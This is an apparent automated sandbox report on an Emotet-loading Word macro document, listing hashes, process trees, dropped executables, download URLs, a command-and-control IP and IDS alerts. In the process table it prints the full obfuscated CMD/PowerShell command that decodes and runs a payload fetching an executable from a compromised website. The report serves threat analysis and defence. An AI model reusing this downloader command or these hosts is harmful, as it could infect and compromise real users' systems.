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Smallbusiness

Full analysis: https://app.any.run/tasks/d9cad3b8-a568-4d3b-bb15-0057319c6a2f
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

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Analysis date: November 14, 2018, 07:58:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
maldoc-4
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Nathaniel-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Nov 9 18:52:00 2018, Last Saved Time/Date: Fri Nov 9 18:52:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0
MD5:

2AA37EA93DBD8579EA712ED2C23BD78F

SHA1:

1FED13206CC113F893E06F26F6E914E35BD092A9

SHA256:

65E4C3C3407F22722AEB6B0E477027E01AA381D83209F713B48F8B4F738528F9

SSDEEP:

768:gI6NVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9RCkrXUomQwEHcwRd:gFNocn1kp59gxBK85fBt+a9dXUDd

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  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 415.exe (PID: 2364)
      • 415.exe (PID: 3328)
      • lpiograd.exe (PID: 568)
      • lpiograd.exe (PID: 2520)

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3556)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3556)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 1404)

    • Emotet process was detected

      • lpiograd.exe (PID: 568)

  • SUSPICIOUS

    • Executes PowerShell scripts

      • CMD.exe (PID: 2312)

    • Creates files in the user directory

      • powershell.exe (PID: 1404)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1404)
      • 415.exe (PID: 3328)

    • Starts itself from another location

      • 415.exe (PID: 3328)

    • Application launched itself

      • lpiograd.exe (PID: 568)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3556)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3556)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 14
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 13
Words: 2
Pages: 1
ModifyDate: 2018:11:09 18:52:00
CreateDate: 2018:11:09 18:52:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Nathaniel-PC
Subject: -
Title: -
No data.
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Total processes
37
Monitored processes
7
Malicious processes
5
Suspicious processes
1

Behavior graph

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start drop and start drop and start winword.exe no specs cmd.exe no specs powershell.exe 415.exe no specs 415.exe #EMOTET lpiograd.exe no specs lpiograd.exe

Process information

PID
CMD
Path
Indicators
Parent process
3556"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Smallbusiness.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2312CMD C:\windowS\sYsTeM32\cmd /C "SEt dlV=(("{93}{86}{31}{95}{45}{77}{35}{43}{58}{30}{28}{74}{68}{42}{26}{70}{57}{23}{78}{34}{32}{17}{129}{52}{116}{71}{73}{16}{99}{127}{115}{6}{137}{134}{108}{83}{88}{106}{90}{19}{29}{96}{66}{110}{11}{51}{38}{25}{10}{107}{111}{56}{105}{67}{97}{109}{113}{33}{128}{130}{69}{133}{55}{48}{91}{72}{102}{101}{104}{112}{61}{9}{49}{124}{89}{39}{123}{46}{15}{76}{18}{44}{121}{20}{3}{79}{75}{8}{7}{92}{126}{117}{22}{120}{119}{135}{84}{87}{50}{65}{82}{53}{81}{136}{54}{37}{122}{132}{41}{2}{27}{14}{60}{24}{62}{114}{100}{59}{85}{131}{63}{0}{21}{13}{103}{118}{98}{5}{64}{94}{36}{47}{125}{40}{12}{4}{80}{1}" -f'D()3rZ',')','b','JK','N6qs','NVe','vPyv','6','g5Ko','PSF','HaCX','OY','s-JoI','( ','E','n7c','ON','Si8C','ZL','ZQvjca','wlQUtncGsi',' .','s','NG(','t','vB','mbaSE64','j','MoRY','L','iO.mE','ompre','wFIb/','/9','Bda8I','rEA','FEREnce','rZF','1jUatjsw7Pp','e','x6q','w-O','veRt]::fRo','M(','3','EFLa','l7Q/11I/A',')[','nyhD','f5','resS','gzz7eIW1LZ','DDYHhoL7','reSsiOnMODe','OmpReSs)3','k','eW2S+','TRI',' [','nCodinG]::AS','c','qd8yBV',' sYSTeM.io.streaM','aDtoeN','rbOsEpR','iO','YMp5ZyWCitO','cqQvd','M][coN','m9AF','s','FMuZABrtJ','NB9m','0y','StREA','Ro8R','ME2Tl','tESt','6qsNZ','rxtR','6qs',']::DE','n.COMP','yDwm','o.','Cii','O.C','cOmP','QN','ibTL','L','49Pl','ssw/AM=6qs',' ( nEw-ObjEct i','E','sSIoN.d','Apiep/TGrGdcx5C','1CZnu20Geu6','BU','qUmJp41T','AdER( BUN_,[Text.e','HQTu','WfE7D9HO','([S','k','4+fT+u1zdWcHd1Qu9NGP','y','yr','UbiFkrt','Sjd','BlZ6HNlP','R','vnY58ShmcgI','d3XkmFdMV','rE','4dz','QOi',',[sy','TRiNG]','em.','t','cA185CM','orE','m','32','1,3]+6qs',')','+t+Xit','4s','sbgm','VzvKNm0s',')} ).Re','ACh { nE','TQUpg','Xn9','I','C','JxD')).rePlace('BUN',[sTRing][cHAr]36).rePlace(([cHAr]54+[cHAr]113+[cHAr]115),[sTRing][cHAr]39).rePlace(([cHAr]51+[cHAr]114+[cHAr]90),[sTRing][cHAr]124)^| . ( $PSHOME[4]+$pshOme[30]+'x')&& POWerSHelL ${eXECUTIONCoNtEXT}.\"iNvo`k`eCOmM`AND\".( \"{1}{2}{0}\" -f'IpT','InV','OKeSCR').Invoke( (.( 'LS') ( \"{0}{1}\" -f 'eNV:','DLV' ) ).\"vA`lUe\" )" C:\Windows\system32\CMD.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1404POWerSHelL ${eXECUTIONCoNtEXT}.\"iNvo`k`eCOmM`AND\".( \"{1}{2}{0}\" -f'IpT','InV','OKeSCR').Invoke( (.( 'LS') ( \"{0}{1}\" -f 'eNV:','DLV' ) ).\"vA`lUe\" )C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CMD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2364"C:\Users\admin\AppData\Local\Temp\415.exe" C:\Users\admin\AppData\Local\Temp\415.exe—powershell.exe
User:
admin
Company:
AbanSoft / Sun Microsystems, Inc.
Integrity Level:
MEDIUM
Description:
Window I Stub
Exit code:
0
Version:
1, 4, 2, 50
3328"C:\Users\admin\AppData\Local\Temp\415.exe"C:\Users\admin\AppData\Local\Temp\415.exe
415.exe
User:
admin
Company:
AbanSoft / Sun Microsystems, Inc.
Integrity Level:
MEDIUM
Description:
Window I Stub
Exit code:
0
Version:
1, 4, 2, 50
568"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe
415.exe
User:
admin
Company:
AbanSoft / Sun Microsystems, Inc.
Integrity Level:
MEDIUM
Description:
Window I Stub
Exit code:
0
Version:
1, 4, 2, 50
2520"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe
lpiograd.exe
User:
admin
Company:
AbanSoft / Sun Microsystems, Inc.
Integrity Level:
MEDIUM
Description:
Window I Stub
Version:
1, 4, 2, 50
Total events
1 673
Read events
1 260
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
3556WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR2F19.tmp.cvr —
MD5:—
SHA256:—
1404powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H4QMNT5KHXH1NPLNYGUO.temp —
MD5:—
SHA256:—
3556WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:D60D20A20527B37836471105C937C8C9
SHA256:D732ED54E40AA23E1F5E768DA5969B8DA55C63266851B617B2E390CE2BF33573
3556WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$allbusiness.docpgc
MD5:CF4BDA2B68F90083FF663990A05E221D
SHA256:E70C4DA7761539B6BDECA1E6B9249001B56E0E4DFF7004597815B3EA2BA7E308
3328415.exeC:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exeexecutable
MD5:E17B56AFBBF5C7D669DAF90CD32ED3FB
SHA256:6A5A61DADD6C32095CA3450ECE4524005929B0A33C4547E27112645274667364
1404powershell.exeC:\Users\admin\AppData\Local\Temp\415.exeexecutable
MD5:E17B56AFBBF5C7D669DAF90CD32ED3FB
SHA256:6A5A61DADD6C32095CA3450ECE4524005929B0A33C4547E27112645274667364
1404powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1837b5.TMPbinary
MD5:2E6C332796340AFFBFF5230455889D0D
SHA256:6F83140E19865C73D28025CDCE4DC60261AB057414157519A4A1AAA80DF8540E
1404powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2E6C332796340AFFBFF5230455889D0D
SHA256:6F83140E19865C73D28025CDCE4DC60261AB057414157519A4A1AAA80DF8540E
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HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2520
lpiograd.exe
GET
—
173.34.90.245:443
http://173.34.90.245:443/
CA
—
—
malicious
1404
powershell.exe
GET
200
200.170.94.183:80
http://www.coronatec.com.br/wp-content/W/
BR
executable
148 Kb
suspicious
1404
powershell.exe
GET
301
200.170.94.183:80
http://www.coronatec.com.br/wp-content/W
BR
html
249 b
suspicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2520
lpiograd.exe
173.34.90.245:443
—
Rogers Cable Communications Inc.
CA
malicious
1404
powershell.exe
200.170.94.183:80
www.coronatec.com.br
Durand do Brasil Ltda
BR
suspicious

DNS requests

Domain
IP
Reputation
www.coronatec.com.br
  • 200.170.94.183
suspicious

Threats

PID
Process
Class
Message
1404
powershell.exe
A Network Trojan was detected
ET POLICY Terse Named Filename EXE Download - Possibly Hostile
1404
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1404
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1404
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
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